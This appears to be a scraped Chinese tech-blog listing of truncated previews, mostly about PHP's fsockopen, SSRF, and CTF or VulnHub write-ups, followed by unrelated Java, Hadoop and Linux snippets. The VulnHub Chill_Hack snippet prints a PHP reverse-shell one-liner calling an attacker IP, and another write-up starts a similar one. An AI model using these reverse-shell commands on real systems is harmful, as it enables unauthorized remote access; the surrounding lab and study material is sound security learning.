- 初学ssrf(1)
晓幂
web安全安全网络安全
初学ssrf(1)一.什么是ssrf:SSRF,服务端请求伪造,是一种攻击者构造攻击连传给服务器,给服务端执行并发起请求造成安全问题漏洞,一般用来在外网探测或供给内网服务。1.相关函数和类:file_get_contents()//将整个文件或一个url所指向的文件读入一个字符串中(php伪协议中常用)readfile()//输出一个文件的内容fsockopen()//打开一个网络连接或者一个Un
- 开发安全之:Server-Side Request Forgery
irizhao
安全
Overview函数fsockopen()将使用资源URI的用户控制数据启动与第三方系统的网络连接。攻击者可以利用此漏洞代表应用程序服务器发送一个请求,因为此请求将自应用程序服务器内部IP地址发出。Details当攻击者可以影响应用程序服务器建立的网络连接时,将会发生Server-SideRequestForgery。网络连接源自于应用程序服务器内部IP地址,因此攻击者将可以使用此连接来避开网络控
- 开发安全之:Server-Side Request Forgery
irizhao
安全
Overview函数fsockopen()将使用资源URI的用户控制数据启动与第三方系统的网络连接。攻击者可以利用此漏洞代表应用程序服务器发送一个请求,因为此请求将自应用程序服务器内部IP地址发出。Details当攻击者可以影响应用程序服务器建立的网络连接时,将会发生Server-SideRequestForgery。网络连接源自于应用程序服务器内部IP地址,因此攻击者将可以使用此连接来避开网络控
- vulnhub靶机Chill_Hack
himobrinehacken
vulnhub网络安全web安全系统安全网络攻击模型安全
下载地址:ChillHack:1~VulnHub主机发现目标176端口扫描服务扫描直接去看web先扫一下有几个有点问题看着好像命令执行看来没错直接反弹shell还有还白名单?bash也不能用那就用php吧whoami|php-r'$sock=fsockopen("192.168.21.131",666);exec("bash&32>&3");'搞定接下来就是提权了有python吧shell弄一下刚
- php网站在服务器上邮件发送不了,在本地可以
懒得代码
phpphp邮箱
最近在做phpmailer发送邮件功能里发现了一个问题,网站程序在本地测试邮件可以正常发送到指定的邮箱。但是把代码放到空间上面,邮件发不了,提示发送出错!研究半天没有搞懂为什么……(高手勿喷)后来上网找了一下,有人说是服务器商因为安全原因把php的fsockopen函数给关闭了。于是按照网上的解决方法把fsockopen函数替换了,方法如下:首先找到phpmailer的class.stmp.php
- 分析日志命令
xiaopzi123123
网络服务器linux
grep-i"fsockopen"-R*|more搜索文件夹下的fsockopenfind./-typef|wc-l统计文件夹下有多文件crontab-e0grep'07/Sep'access_nginx.log|awk-F":"'{if($2>7&&$2="[07/Sep/2020:15:00:00"&&$4awk'{if($1=="113.111.211.224"){print$0}}'tem
- WEB系列(五)-----------SSRF/XXE/命令执行
weixinzjh
WEB安全
SSRFSSRF(server-siterequestfirery,服务端请求伪造)是一种构造请求,由服务端发起请求的安全漏洞。与CSRF不同的是发起请求的对象不同。成因:服务端提供了从其他服务器获取数据的功能,但没有对内网目标地址做过滤与限制。产生ssrf漏洞的函数file_get_content()fsockopen()curl_exec()XXEXMLDTDDTD声明类型内部声明外部声明DT
- PHP监本telnet到服务器并执行命令脚本,可以用来执行dubbo命令
人在码途
sock=fsockopen($host,$port);socket_set_timeout($this->sock,10,0);}functionclose(){if($this->sock)fclose($this->sock);$this->sock=NULL;}functionwrite($buffer){$buffer=str_replace(chr(255),chr(255).chr(
- php 监听redis,php监听redis key失效触发回调事件_后端开发
阿葱的葱白
php监听redis
php中使用fsockopen实现异步请求(代码示例)_后端开发php执行一段程序,有可能几毫秒就执行完毕,也有可能耗时较长。例如,用户下单这个事件,如果调用了些第三方服务进行发邮件、短信、推送等通知,可能导致前端一直在等待。订单超时、活动过期解决方案:php监听rediskey失效触发回调事件Redis的2.8.0版本之后可用,键空间消息(RedisKeyspaceNotifications),
- 云尘-Acid
双层小牛堡
渗透chromeandroid前端
vulhub的靶场直接开扫开始信息收集robots.txt啥都给我用上有一个解码看看访问不上学了别人的wp通过dirbustr跑选择字典开冲!但是真的巨慢!!!然后最后扫下来Challenge/Magic_Box/command.php发现了这个目录这不就ctf的ping的rce么直接执行命令看看这里如果我们需要反弹shell就需要通过bp的url编码;php-r'$sock=fsockopen(
- NSSCTF第8页(2)
呕...
android
[LitCTF2023]就当无事发生没有环境[MoeCTF2022]ezhtml在js代码找到了flag[HNCTF2022WEEK2]ez_ssrf题目描述说让我们访问index.php,看到了代码传入的data会base64解码,传参port和host,还有一个没见过的函数fsockopen查了一下fsockopen函数可以被滥用来触发SSRF攻击,这是因为该函数允许从远程服务器上读取数据并与
- [HNCTF 2022 WEEK2]ez_ssrf题目解析
狼丿王
java算法开发语言
这题主要是引入ssrf这个漏洞攻击,本质上没有更深入的考察本题是需要我们去伪造一个ssrf的请求头去绕过题目开始给了我们信息让我们去访问index.phpfsockopen函数触发ssrffsockopen()函数建立与指定主机和端口的socket连接。然后,它将传入的base64编码的数据解码,并将数据写入到连接的socket中。通过了解知道fsockopen函数就要清楚有考察ssrf的意思,需
- php发送get、post请求的6种方法简明总结?
smallmww
PHPphp
这篇文章主要介绍php发送get、post请求的6种方法简明总结,分别为使用file_get_contents、fopen、fsockopen、curl来发送GET和POST请求,需要的朋友可以参考下方法1:用file_get_contents以get方式获取内容:方法2:用fopen打开url,以get方式获取内容:方法3:用file_get_contents函数,以post方式获取url'ba
- CTFHUB - SSRF
双层小牛堡
WEBSSRF
目录SSRF漏洞攻击对象攻击形式产生漏洞的函数file_get_contents()fsockopen()curl_exec()提高危害利用的伪协议filedictgopher内网访问伪协议读取文件端口扫描POST请求总结上传文件总结FastCGI协议CGI和FastCGI的区别FastCGI协议FastCGI和web服务器的交互过程PHP-FPM攻击原理实现RCE做题1.exp2.gopheru
- SSRF攻击(服务端请求伪造)
布满杂草的荆棘
常见的漏洞安全网络
1.SSRF(服务端请求伪造)原理概念:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)原理:参数给变量未经过滤,使用了不安全的函数curl_init、file_get_contents、fsockopen,这三个函数支持过滤协议,通过过滤协议读对方的文
- 怎么实现PHP异步
宸风如苏
在开发中遇到过这样的问题(我是在支付宝回调的时候,处理的业务逻辑有点多),某段程序执行很慢,但是这又涉及到用户体验,这时候我们就会想如果我先返回给用户成功的提示,然后我在服务器上再去慢慢执行我的代码不就两全齐美了吗-----这就是我理解的异步。PHP是支持socket编程的,就是fsockopen函数,函数说明:fsockopen—打开一个网络连接或者一个Unix套接字连接fscokopen会返回
- web-ssrf
偷吃"游"的阿彪
前端
目录ssrf介绍以pikachu靶场为例curl访问外网链接利用file协议查看本地文件利用dict协议扫描内网主机开放端口file_get_content利用file协议查看本地文件:fsockopen()防御方式:ssrf介绍服务器端请求伪造,是一种由攻击者构造形成而由服务器端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。其目标是与服务器端相连的内部网络。以
- SSRF 漏洞学习实战
救命救敏
安全学习web安全
3x05SSRF漏洞学习实战文章目录3x05`SSRF`漏洞学习实战一.ssrf漏洞概念二.原理三.SSRF漏洞的危害四.漏洞检测点五.ssrf漏洞绕过六.ssrf漏洞的利用1.相关函数(1)`file_get_contents`(2)`fsockopen`(3)`curl_exec`2.相关协议七.pikachu靶场之ssrf七.ssrf防御补充知识一.ssrf漏洞概念ssrf(Server-S
- 【无标题】
里音日黑
知识网络安全
(1)相关的函数和类file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中(php伪协议中常用)readfile():输出一个文件的内容fsockopen():打开一个网络连接或者一个Unix套接字连接curl_init():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl-exec():执行给定的cURL
- 无标题文章
超人又来了
fsockopen()函数的作用是可以用来打开一个socket连接,另一个函数pfsockopen()也有相似的功能,只不过后者是一个“持续”(persistent)的fsockopen()函数,它在脚本运行完之后并不立即断开。PHP异步:在PHP中使用fsockopencurl实现类似异步处理的功能https://segmentfault.com/a/1190000002982448你吃饭吃到一
- PHP上传文件结合socket完成
云松编程
PHPsocket上传文件php
利用fsockopen来上传文件以前我写过一篇关于socket通信原理的博文http://blog.51yip.com/php/673.html有兴趣的朋友可以看看,前面讲的那篇博文,socket的服务器和客户端都是要用php命令来运行的。平常我们上传文件是浏览本地文件,通过一个php程序将文件上传一个地方,这个时候我们用php命令来运行php程序就不方便了。这个时候我们可以用fsockopen来
- 记一次 CURL HTTP 500 错误经历
HiFeiz
PHP/Mysqlphp
事出经过APIPost,PHPCURL请求本地API接口始终报HTTP500,CURL和APIPost设置通过fd代理后请求却没有问题主要是PHP调试一直出错,fsockopen、curl、file_get_contents都一样解决过程wireshark无法抓本地包,遂放弃curl设置fiddler走代理后请求没有问题!!!!最后通过获取curl的请求头,发现多了个头Proxy-Connecti
- SSRF漏洞讲解
跳楼梯企鹅
安全web安全服务器
SSRF漏洞讲解一、初识SSRF漏洞1.定义2.产生原理3.会导致的危害4.常见产生SSRF的地方5.常见缺失函数二、SSRF漏洞利用1.函数(1)file_get_contents(2)fsockopen()(3)curl_exec()2.协议(1)file协议(2)http协议(3)dict协议(4)gopher协议三、绕过1.绕过方式(1)检查IP是否为内网IP(2)Host获取与DNS绕过
- php 怎么实现多线程,php 实现多线程
陈炳好
php怎么实现多线程
通过php的Socket方式实现php程序的多线程。php本身是不支持多线程的,那么如何在php中实现多线程呢?可以想一下,WEB服务器本身都是支持多线程的。每一个访问者,当访问WEB页面的时候,都将调用新的线程,通过这一点我们可以利用WEB服务器自身的线程来解决PHP不支持多线程的问题。下面给出通过fsockopen()建立socket连接,然后用用fputs()发送消息,来实现的PHP多线程类
- php扫描端口
CSeroad
php实现对指定IP进行端口扫描代码为IPportScantd{padding:10px;margin:10px;border-width:1pxsolid#eee;text-align:center;}span{color:red;}pleaseentertheIPaddress10){foreach($portas$key=>$value){$fp=@fsockopen($ip,$value,
- 细说——SSRF
lainwith
渗透测试渗透测试
目录什么是SSRF形成原因容易出现SSRF的地方SSRF的危害脑图SSRF相关函数和协议函数file_get_contents()fsockopen()curl_exec()协议漏洞检测常用绕过方式限制为http://www.xxx.com域名时(利用@)限制请求IP不为内网地址限制请求只为http协议利用[::]利用句号利用特殊地址利用协议利用上传利用Enclosedalphanumerics靶
- 网络编程--socket
机器不能学习
php内置函数只能够主动连接,无法进行监听等活动。函数包或fsockopen和pfsockopen,后者是长连接,persistent的缩写利用函数建立连接后,资源的传输获取可以用文件操作的几个函数。fgets()(读字符,用于读取正行或字符串)fread()(用于读取整块内容)fwrite()fclose()等PECL函数库函数函数库有强大的socket功能,包括监听端口,阻塞和非阻塞切换,多客
- PHP的一个完整SMTP类(解决当mail()遇上邮件服务器需要验证时的问题) [转]
nihilism
php技术邮件服务器phpfunctionheadercommandvariables
class.smtp.phpdebug=FALSE;$this->smtp_port=$smtp_port;$this->relay_host=$relay_host;$this->time_out=30;//isusedinfsockopen()#$this->auth=$auth;//auth$this->user=$user;$this->pass=$pass;#$this->host_na
- php 利用smtp封装类发送邮件
hxjcsdn
随笔
1.smtp封装类,二开注意名称不要与已有冲突还要注意位置放正确,比如我这里重命名为smtp_email.php,放在classes文件夹下debug=FALSE;$this->smtp_port=$smtp_port;$this->relay_host=$relay_host;$this->time_out=30;//isusedinfsockopen()#$this->auth=$auth;/
- php实现多线程
PHP学习与交流
PHPphp
PHP本身是不支持多线程的,我们可以通过php自身函数虚拟处理啊多线程。下面介绍三个函数来实现多进程。一、fsockopen,打开一个网络连接或者一个Unix套接字连接。其中stream_set_blocking()-为资源流设置阻塞或者阻塞模式*@title:PHP多线程类(Thread)*@version:1.0**PHP多线程应用示例:*require_once'thread.class.p
- 多线程编程之理财
周凡杨
java多线程生产者消费者理财
现实生活中,我们一边工作,一边消费,正常情况下会把多余的钱存起来,比如存到余额宝,还可以多挣点钱,现在就有这个情况:我每月可以发工资20000万元 (暂定每月的1号),每月消费5000(租房+生活费)元(暂定每月的1号),其中租金是大头占90%,交房租的方式可以选择(一月一交,两月一交、三月一交),理财:1万元存余额宝一天可以赚1元钱,
- [Zookeeper学习笔记之三]Zookeeper会话超时机制
bit1129
zookeeper
首先,会话超时是由Zookeeper服务端通知客户端会话已经超时,客户端不能自行决定会话已经超时,不过客户端可以通过调用Zookeeper.close()主动的发起会话结束请求,如下的代码输出内容
Created /zoo-739160015
CONNECTEDCONNECTED
.............CONNECTEDCONNECTED
CONNECTEDCLOSEDCLOSED
- SecureCRT快捷键
daizj
secureCRT快捷键
ctrl + a : 移动光标到行首ctrl + e :移动光标到行尾crtl + b: 光标前移1个字符crtl + f: 光标后移1个字符crtl + h : 删除光标之前的一个字符ctrl + d :删除光标之后的一个字符crtl + k :删除光标到行尾所有字符crtl + u : 删除光标至行首所有字符crtl + w: 删除光标至行首
- Java 子类与父类这间的转换
周凡杨
java 父类与子类的转换
最近同事调的一个服务报错,查看后是日期之间转换出的问题。代码里是把 java.sql.Date 类型的对象 强制转换为 java.sql.Timestamp 类型的对象。报java.lang.ClassCastException。
代码:
- 可视化swing界面编辑
朱辉辉33
eclipseswing
今天发现了一个WindowBuilder插件,功能好强大,啊哈哈,从此告别手动编辑swing界面代码,直接像VB那样编辑界面,代码会自动生成。
首先在Eclipse中点击help,选择Install New Software,然后在Work with中输入WindowBui
- web报表工具FineReport常用函数的用法总结(文本函数)
老A不折腾
finereportweb报表工具报表软件java报表
文本函数
CHAR
CHAR(number):根据指定数字返回对应的字符。CHAR函数可将计算机其他类型的数字代码转换为字符。
Number:用于指定字符的数字,介于1Number:用于指定字符的数字,介于165535之间(包括1和65535)。
示例:
CHAR(88)等于“X”。
CHAR(45)等于“-”。
CODE
CODE(text):计算文本串中第一个字
- mysql安装出错
林鹤霄
mysql安装
[root@localhost ~]# rpm -ivh MySQL-server-5.5.24-1.linux2.6.x86_64.rpm Preparing... #####################
- linux下编译libuv
aigo
libuv
下载最新版本的libuv源码,解压后执行:
./autogen.sh
这时会提醒找不到automake命令,通过一下命令执行安装(redhat系用yum,Debian系用apt-get):
# yum -y install automake
# yum -y install libtool
如果提示错误:make: *** No targe
- 中国行政区数据及三级联动菜单
alxw4616
近期做项目需要三级联动菜单,上网查了半天竟然没有发现一个能直接用的!
呵呵,都要自己填数据....我了个去这东西麻烦就麻烦的数据上.
哎,自己没办法动手写吧.
现将这些数据共享出了,以方便大家.嗯,代码也可以直接使用
文件说明
lib\area.sql -- 县及县以上行政区划分代码(截止2013年8月31日)来源:国家统计局 发布时间:2014-01-17 15:0
- 哈夫曼加密文件
百合不是茶
哈夫曼压缩哈夫曼加密二叉树
在上一篇介绍过哈夫曼编码的基础知识,下面就直接介绍使用哈夫曼编码怎么来做文件加密或者压缩与解压的软件,对于新手来是有点难度的,主要还是要理清楚步骤;
加密步骤:
1,统计文件中字节出现的次数,作为权值
2,创建节点和哈夫曼树
3,得到每个子节点01串
4,使用哈夫曼编码表示每个字节
- JDK1.5 Cyclicbarrier实例
bijian1013
javathreadjava多线程Cyclicbarrier
CyclicBarrier类
一个同步辅助类,它允许一组线程互相等待,直到到达某个公共屏障点 (common barrier point)。在涉及一组固定大小的线程的程序中,这些线程必须不时地互相等待,此时 CyclicBarrier 很有用。因为该 barrier 在释放等待线程后可以重用,所以称它为循环的 barrier。
CyclicBarrier支持一个可选的 Runnable 命令,
- 九项重要的职业规划
bijian1013
工作学习
一. 学习的步伐不停止 古人说,活到老,学到老。终身学习应该是您的座右铭。 世界在不断变化,每个人都在寻找各自的事业途径。 您只有保证了足够的技能储
- 【Java范型四】范型方法
bit1129
java
范型参数不仅仅可以用于类型的声明上,例如
package com.tom.lang.generics;
import java.util.List;
public class Generics<T> {
private T value;
public Generics(T value) {
this.value =
- 【Hadoop十三】HDFS Java API基本操作
bit1129
hadoop
package com.examples.hadoop;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.FSDataInputStream;
import org.apache.hadoop.fs.FileStatus;
import org.apache.hadoo
- ua实现split字符串分隔
ronin47
lua split
LUA并不象其它许多"大而全"的语言那样,包括很多功能,比如网络通讯、图形界面等。但是LUA可以很容易地被扩展:由宿主语言(通常是C或 C++)提供这些功能,LUA可以使用它们,就像是本来就内置的功能一样。LUA只包括一个精简的核心和最基本的库。这使得LUA体积小、启动速度快,从 而适合嵌入在别的程序里。因此在lua中并没有其他语言那样多的系统函数。习惯了其他语言的字符串分割函
- java-从先序遍历和中序遍历重建二叉树
bylijinnan
java
public class BuildTreePreOrderInOrder {
/**
* Build Binary Tree from PreOrder and InOrder
* _______7______
/ \
__10__ ___2
/ \ /
4
- openfire开发指南《连接和登陆》
开窍的石头
openfire开发指南smack
第一步
官网下载smack.jar包
下载地址:http://www.igniterealtime.org/downloads/index.jsp#smack
第二步
把smack里边的jar导入你新建的java项目中
开始编写smack连接openfire代码
p
- [移动通讯]手机后盖应该按需要能够随时开启
comsci
移动
看到新的手机,很多由金属材质做的外壳,内存和闪存容量越来越大,CPU速度越来越快,对于这些改进,我们非常高兴,也非常欢迎
但是,对于手机的新设计,有几点我们也要注意
第一:手机的后盖应该能够被用户自行取下来,手机的电池的可更换性应该是必须保留的设计,
- 20款国外知名的php开源cms系统
cuiyadll
cms
内容管理系统,简称CMS,是一种简易的发布和管理新闻的程序。用户可以在后端管理系统中发布,编辑和删除文章,即使您不需要懂得HTML和其他脚本语言,这就是CMS的优点。
在这里我决定介绍20款目前国外市面上最流行的开源的PHP内容管理系统,以便没有PHP知识的读者也可以通过国外内容管理系统建立自己的网站。
1. Wordpress
WordPress的是一个功能强大且易于使用的内容管
- Java生成全局唯一标识符
darrenzhu
javauuiduniqueidentifierid
How to generate a globally unique identifier in Java
http://stackoverflow.com/questions/21536572/generate-unique-id-in-java-to-label-groups-of-related-entries-in-a-log
http://stackoverflow
- php安装模块检测是否已安装过, 使用的SQL语句
dcj3sjt126com
sql
SHOW [FULL] TABLES [FROM db_name] [LIKE 'pattern']
SHOW TABLES列举了给定数据库中的非TEMPORARY表。您也可以使用mysqlshow db_name命令得到此清单。
本命令也列举数据库中的其它视图。支持FULL修改符,这样SHOW FULL TABLES就可以显示第二个输出列。对于一个表,第二列的值为BASE T
- 5天学会一种 web 开发框架
dcj3sjt126com
Web框架framework
web framework层出不穷,特别是ruby/python,各有10+个,php/java也是一大堆 根据我自己的经验写了一个to do list,按照这个清单,一条一条的学习,事半功倍,很快就能掌握 一共25条,即便很磨蹭,2小时也能搞定一条,25*2=50。只需要50小时就能掌握任意一种web框架
各类web框架大同小异:现代web开发框架的6大元素,把握主线,就不会迷路
建议把本文
- Gson使用三(Map集合的处理,一对多处理)
eksliang
jsongsonGson mapGson 集合处理
转载请出自出处:http://eksliang.iteye.com/blog/2175532 一、概述
Map保存的是键值对的形式,Json的格式也是键值对的,所以正常情况下,map跟json之间的转换应当是理所当然的事情。 二、Map参考实例
package com.ickes.json;
import java.lang.refl
- cordova实现“再点击一次退出”效果
gundumw100
android
基本的写法如下:
document.addEventListener("deviceready", onDeviceReady, false);
function onDeviceReady() {
//navigator.splashscreen.hide();
document.addEventListener("b
- openldap configuration leaning note
iwindyforest
configuration
hostname // to display the computer name
hostname <changed name> // to change
go to: /etc/sysconfig/network, add/modify HOSTNAME=NEWNAME to change permenately
dont forget to change /etc/hosts
- Nullability and Objective-C
啸笑天
Objective-C
https://developer.apple.com/swift/blog/?id=25
http://www.cocoachina.com/ios/20150601/11989.html
http://blog.csdn.net/zhangao0086/article/details/44409913
http://blog.sunnyxx
- jsp中实现参数隐藏的两种方法
macroli
JavaScriptjsp
在一个JSP页面有一个链接,//确定是一个链接?点击弹出一个页面,需要传给这个页面一些参数。//正常的方法是设置弹出页面的src="***.do?p1=aaa&p2=bbb&p3=ccc"//确定目标URL是Action来处理?但是这样会在页面上看到传过来的参数,可能会不安全。要求实现src="***.do",参数通过其他方法传!//////
- Bootstrap A标签关闭modal并打开新的链接解决方案
qiaolevip
每天进步一点点学习永无止境bootstrap纵观千象
Bootstrap里面的js modal控件使用起来很方便,关闭也很简单。只需添加标签 data-dismiss="modal" 即可。
可是偏偏有时候需要a标签既要关闭modal,有要打开新的链接,尝试多种方法未果。只好使用原始js来控制。
<a href="#/group-buy" class="btn bt
- 二维数组在Java和C中的区别
流淚的芥末
javac二维数组数组
Java代码:
public class test03 {
public static void main(String[] args) {
int[][] a = {{1},{2,3},{4,5,6}};
System.out.println(a[0][1]);
}
}
运行结果:
Exception in thread "mai
- systemctl命令用法
wmlJava
linuxsystemctl
对比表,以 apache / httpd 为例 任务 旧指令 新指令 使某服务自动启动 chkconfig --level 3 httpd on systemctl enable httpd.service 使某服务不自动启动 chkconfig --level 3 httpd off systemctl disable httpd.service 检查服务状态 service h